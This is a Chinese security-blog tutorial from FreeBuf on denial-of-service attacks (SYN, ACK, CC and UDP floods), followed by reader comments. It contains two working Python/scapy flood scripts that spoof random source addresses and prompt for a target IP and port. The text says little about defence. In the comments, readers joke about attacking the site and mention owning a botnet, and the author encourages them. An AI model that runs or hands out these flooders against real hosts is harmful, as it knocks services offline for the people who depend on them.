FB招聘站
分类阅读
专栏
公开课
企业服务
用户服务
手机版
搜索
投稿
登录
注册
【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击黑戈爾专栏作者2017-02-16金币奖励+17共912619人围观 ,发现 31 个不明物体网络安全
普通拒绝服务攻击是指一些传统的攻击方式,如:SYN FLOOD攻击、ACK FLOOD攻击、CC攻击、UDP FLOOD攻击 等等,下面会详细介绍。
SYN FLOOD攻击
Syn flood攻击是利用TCP协议的一些特性发动的,通过发送大量 伪造的带有syn标志位的TCP报文 使 目标服务器连接耗尽,达到拒绝服务的目的。要想理解 syn flood的 攻击原理 必须要先了解TCP协议建立连接的机制。TCP(Transmission Control Protocol 传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层 通信协议。在TCP/IP协议簇中,TCP层是位于IP层之上,应用层之下的中间层。不同 的主机的应用层之间通信,通 常需要可靠的、像管道一样的连接,但是IP层(网络层)不提供这样的可靠字节 流机制,而是提供不可靠的数据包交换。因为TCP是可靠的传输方式,所以 在通信之前需要建立连接,TCP建立连接的方式就是著名的TCP三次握手(如图3-1-1) :
图片1.png
syn flood攻击就是在三次握手机制的基础上实现的。攻击者通过伪造IP 报文,在IP报文的原地址字段随机填入伪造的IP地址,目的地址填入 要攻击的服务器IP地址,其他TTL、ID 以及TCP中的Source Port等随机填入合理数据,TCP的目的端口填入目的服务器开放的 端口 如:80、8080等,syn标志位置 1。然后通过不停的循环讲伪造好的数据包发送 到目的服务器。样本如图3-2、3-3:
图片2.png
图片3.png
可以看到目标主机建立了很多虚假的半开连接,这耗费了目标主机大量的 连接资源。可以想象如果成千上万台“肉鸡 ”对一台服务器发动syn flood攻击威力将是非常强大
ACK FLOOD攻击
ack flood攻击同样是利用TCP三次握手的缺陷实现的攻击, ack flood攻击利用的是三次握手的第二段,也就是TCP标志位syn和ack都置1,攻击主机伪造海量的 虚假ack包发送给目标主机,目标主机每收到一个带有 ack标志位的数据包时,都会去自己的TCP连接表中查看有没有与ack的发送者建立连接 ,如果有则发送三次握手的第三段ack+seq完成三次握手,成功 建立TCP连接。如果没有则发送ack+rst 断开连接。但是在这个过程中会消耗一定的CUP计算资源,如果瞬间 收到海量的syn+ack数据包将会 消耗大量的cpu资源使得正常的连接无法建立或者增加延迟,甚至造成服务器瘫痪、死机。如图:
图片4.png
攻击开始前:
图片5.png
攻击开始后:
图片6.png
理论上目标主机的TCP连接越多ack攻击效果越好,所以如果syn flood与ack flood配合使用效果会更明显。
实现代码如下(我是用scapy写的,单线程速度并不快,想要更大流量自行增加多线程):
#-*- coding: UTF-8 -*-
import socket
import struct
from scapy.all import *
from scapy import all
import random
print"SYN/ACK FLOOD"
mode=input("SYN or ACK (0 or 1):")
if mode==0:
flag=2
elif mode==1:
flag=18
else :
print"BUG "dip=raw_input(str("输入目的地址:"))
dp=input("目的端口: ")
sip1=raw_input(str("源地址(随机请输入 R ):"))
sp1=raw_input(str("源端口(随机请输入 R): "))
while 1:
if sip1=="R":
iprandom=random.randint(0,4000000000)
sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
if sp1=="R":
sp=random.randint(1,65535)
else:
sp=sp1
else:
sip=sip1
if sp1=="R":
sp=random.randint(1,65535)
else:
sp=sp1
t=random.randint(64,128)
pack=(IP(src=sip,dst=dip,ttl=t)/TCP(sport=sp,dport=dp,flags=flag))
send(pack)
CC攻击
CC攻击全称Challenge Collapsar,中文意思是挑战黑洞,因为以前的抗DDOS攻击的 安全设备叫黑洞,顾名思义挑战黑洞就是说黑洞 拿这种攻击没办法,新一代的抗DDOS设备已经改名为ADS( Anti-DDoS System),基本上已经可以完美的抵御CC攻击了 。
CC攻击的原理是通过代理服务器或者大量“肉鸡” 模拟多个用户访问目标网站的动态页面,制造 大量的后台数据库查询动作,消耗目标CPU资源,造成拒绝服务。
我们都知道网站的页面有静态和动态之分,动态网页是需要与后台数据库进行交互的,比如一些论坛, 用户登录的时候需要去数据库查询你的等级、权限 等等,当你留言的时候又需要查询权限、同步数据等等,这就消耗很多 cpu资源,造成静态网页能打开,但是需要和数据库交互的动态网页打开慢或者无法打开的现象。
这种攻击方式相对于前两种实现要相对复杂一些,但是防御起来要简单的多,提供服务 的企业只要尽量少用动态网页并且让一些操作提供验证码就能很好的抵御一般的 CC攻击。所以在这我就不在演示CC攻击的效果了。
图片7.png
UDP FLOOD攻击
UDP FLOOD攻击顾名思义是利用UDP协议进行攻击的,UDP FLOOD攻击可以是小数据包冲击设备也可以是大数据包 阻塞链路占尽带宽。不过 两种方式的实现很相似,差别就在UDP的数据部分带有多少数据。相比TCP协议的攻击UDP的攻击更直接更好理解,有一定规模之后更难防御,因为UDP攻击的特点就是打出很高的流量,一个中小型的网站出口带宽可能不足1 G,如果遇到10G左右的UDP FLOOD攻击,单凭企业自身是无论如何也防御不住的,必须需要运营商帮你在上游清洗 流量才行,如果遇到100G的流量可能地方的运营商都 没有能力清洗了,需要把流量分散到全国清洗。UDP FLOOD攻击就像是一块大石头,看着普普 通通的好像跟现代机枪 炸弹不是一个等级的武器,但是如果石头足够大 ,就不一样了。想想恐龙是怎么灭绝的, 陨石不也是块普通的石头吗!在DDOS 防御领域有一句话:能防住的都是简单的攻击,但简单的攻击 不一定防得住。UDP FLOOD正是这种简单有效的攻击方式。
大包攻击:
图片8.png
小包攻击:
图片9.png
下面的代码也是单线程,速度不太快,下一篇文章讲反射DDOS的时候会有多线程的用法。
UDPFLOOD.py
#-*- coding: UTF-8 -*-
import socket
from scapy.all import *
from scapy import all
print "这是一个UDP FLOOD攻击器,源端口源IP随机"
dip=raw_input("输入要攻击的地址:")
dp=input("输入要攻击的端口:")
f=open('./load','r')
while 1:
size=random.randint(1,2)
data=f.read(size)
iprandom=random.randint(0,4000000000)
sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
sp=random.randint(1000,65535)
t=random.randint(50,120)
packet=(IP(src=sip,dst=dip,ttl=t)/UDP(sport=sp,dport=dp)/Raw(load=data))
send(packet)
下篇文章讲介绍反射性DOS攻击的相关知识,第一次发文,勿喷啊~~
*本文作者:黑戈爾,转载请注明来自FreeBuf.COM
更多精彩# 拒绝服务攻击
黑戈爾
黑戈爾
8 篇文章
等级: 5级
||
相关推荐
浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击
浅析大规模DDOS防御架构:应对T级攻防
浅谈拒绝服务攻击的原理与防御(7):用Python和C实现syn flood攻击
游戏行业DDoS 6年谈:什么样的架构才可以对DDoS免疫?
被骗几十万总结出来的Ddos攻击防护经验!
浅谈拒绝服务攻击的原理与防御(4):新型DDOS攻击 – Websocket和临时透镜
浅谈拒绝服务攻击的原理与防御(3):反射DDOS攻击利用代码
WinPcap开发(二):扫描探测
这些评论亮了
低轨道离子炮回复
嗯,因为发了这篇文章,所以今天都拿freebuf测试了?
)10(亮了
发表评论已有 31 条评论
屌丝绅士 专栏作者(5级)做自己的自己 和平年代的炮灰,战争年代的爆破鬼才 2017-02-16回复1楼
不错,晚上有事情干了
亮了(5)
shyixiu 2017-02-16回复2楼
哈哈,服务器抽风
亮了(3)
我可爱的蕾米莉亚 2017-02-16回复3楼
502 Bad Gateway
亮了(1)
低轨道离子炮 2017-02-16回复4楼
嗯,因为发了这篇文章,所以今天都拿freebuf测试了?
亮了(10)
黑戈爾 专栏作者(5级)一个帅字描述了自己 2017-02-16回复
@ 低轨道离子炮 这么一说我都不敢发后续的(2):反射型DDOS攻击了。。。。。。。
亮了(1)
ArthurKiller (7级)窃.格瓦拉驻FreeBuf办事处 2017-02-16回复
@ 黑戈爾 大兄弟,以你的智慧和我的帅气,搞个中国版V-DOS还是有可能的,哈哈!
http://www.freebuf.com/special/107119.html
http://www.freebuf.com/news/107916.html
亮了(2)
power_h (1级)这家伙太懒了,还未填写个人描述! 2017-02-17回复
@ ArthurKiller 我要是写一篇mirai搭建的文章FB会通过吗?
亮了(2)
厦门-Robert (1级) 2017-02-16回复5楼
效果怎么样?是不是拿FREEBUF练习了?502啦!
亮了(2)
Fr3es0ul 2017-02-16回复6楼
一看作者对HTTP Flood的解释,就120%确定是绿盟的人…
亮了(5)
黑戈爾 专栏作者(5级)一个帅字描述了自己 2017-02-16回复
@ Fr3es0ul 我曹!把我家底看光了
亮了(1)
Fr3es0ul (2级)可能是网安界实况8踢得最好的工程师了! 2017-02-17回复
@ 黑戈爾 兄弟,你那CC的PPT页,我在11年时候就见过了……
亮了(2)
KingSeco (2级) 2017-02-16回复
@ Fr3es0ul 哈哈,这个跟绿盟有什么关系
亮了(2)
Fr3es0ul (2级)可能是网安界实况8踢得最好的工程师了! 2017-02-17回复
@ KingSeco 绿盟销售和售前在介绍ADS的时候经常吹牛逼说原来黑客都研究怎么拿下ADS(原来叫Collapsar),所以叫Challenge Collapsar,也就是CC。
亮了(4)
白骨夫人 (3级) 2017-02-16回复7楼
6666666666666666666666
亮了(2)
恬浪 (1级) 2017-02-16回复8楼
绿盟人啊!
亮了(4)
黑戈爾 专栏作者(5级)一个帅字描述了自己 2017-02-16回复
@ 恬浪 以前是
亮了(3)
恬浪 (1级) 2017-02-16回复
@ 黑戈爾 哈哈,那就是绿离子了,跟着学习学习
亮了(4)
UNKNOW USER 2017-02-16回复9楼
看后顿时感觉手头上的3w台肉鸡有了用武之地。
亮了(2)
黑戈爾 专栏作者(5级)一个帅字描述了自己 2017-02-17回复
@ UNKNOW USER 别急,你这么多肉鸡或许有更大用处,甚至是开创性的用处
亮了(3)
Lee 2017-02-17回复10楼
截图是绿盟产品ppt
亮了(1)
dalao大屌 2017-02-17回复11楼
TIMI
亮了(2)
Bin狗 (1级) 2017-02-17回复12楼
可以 讲的很好 以前只能算了解 现在可以上手写一个了
亮了(3)
an_time (3级) 2017-02-20回复13楼
不错,讲的很详细
亮了(0)
FreeDebug (1级) 2017-03-30回复14楼
首先赞一个
楼主,第一个TCP Flood攻击那个报文图是不是有些问题。图报文里回复的不是SYN+ACK,而是RST+ACK报文。
亮了(0)
黑戈爾 专栏作者(5级)一个帅字描述了自己 2017-04-07回复
@ FreeDebug 您说的对,其实应该是syn+ack才对,可能当时做的有些错误
亮了(0)
NS-BBOS 2017-04-05回复15楼
为啥你一直要用绿盟培训的ppt当做原创?
亮了(2)
黑戈爾 专栏作者(5级)一个帅字描述了自己 2017-04-05回复
@ NS-BBOS 因为我是在绿盟学会的这些
亮了(0)
TNT001 (1级) 2017-04-26回复16楼
厉害了 我的盟
亮了(1)
C_Can (1级) 2017-07-04回复17楼
./load是什么 没这个东西 创建一个也并没有什么用 并不会写入什么
亮了(0)
C_Can (1级) 2017-07-04回复18楼
你好 能说下./load是什么嘛 我后来直接创建了个文本命名为load,然后也可以运行成功,并且用wireshark抓包也确实抓到在往外发的UDP包 但是cat load文本里并没有写入什么东西
亮了(0)
黑戈爾 专栏作者(5级)一个帅字描述了自己 2017-07-05回复
@ C_Can 你看我后面的文章吧,这个写的比较简单而且效果也不太好
亮了(0)
昵称
请输入昵称
必须您当前尚未登录。登录?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
黑戈爾
黑戈爾专栏作者
一个帅字描述了自己
8
文章数
64
评论数
1
关注者
关注
最近文章
我想要个T恤衫
2017.08.21
反射DDOS攻击防御的一点小想法
2017.06.22
如何简单的防御syn攻击
2017.04.22
浏览更多
文章目录
SYN FLOOD攻击
ACK FLOOD攻击
CC攻击
UDP FLOOD攻击
相关阅读
托FBI的福,DDoS攻击服务已合法化!云计算做数据包分析防御DDOS攻击Arbor Networks发布2013年第三季度DDOS攻击报告
Imago-Forensics:Python实现的图像数字取证工具恶意软件DNSMESSENGER分析
推荐关注
官方公众号
聚焦企业安全
官方QQ群 FreeBuf官方微博
文章目录
SYN FLOOD攻击
ACK FLOOD攻击
CC攻击
UDP FLOOD攻击
活动预告
3月
纯实战化攻防教学 | 玩转黑客操作系统Blackarch
已结束
3月
合规、技术、实践,从隐私保护走向数据安全
已结束
3月
冠军选手帮你把CTF知识点各个击破
已结束
3月
CTF之web安全入门
已结束
本站由阿里云 提供计算与安全服务
官方QQ群:590717869
用户服务有奖投稿申请专栏提交漏洞参与众测商城企业服务甲方会员厂商会员企业空间企业SRC漏洞众测智能安全合作信息寻求报道广告投放联系我们友情链接关于我们关于我们加入我们
微信公众号
新浪微博赞助商
FreeBuf+小程序
扫码把安全装进口袋
斗象科技FreeBuf漏洞盒子斗象智能安全平台免责条款协议条款Copyright © 2020 WWW.FREEBUF.COM All Rights Reserved 沪公网安备 31011502009321号
css.php正在加载中...0daybank
文章评论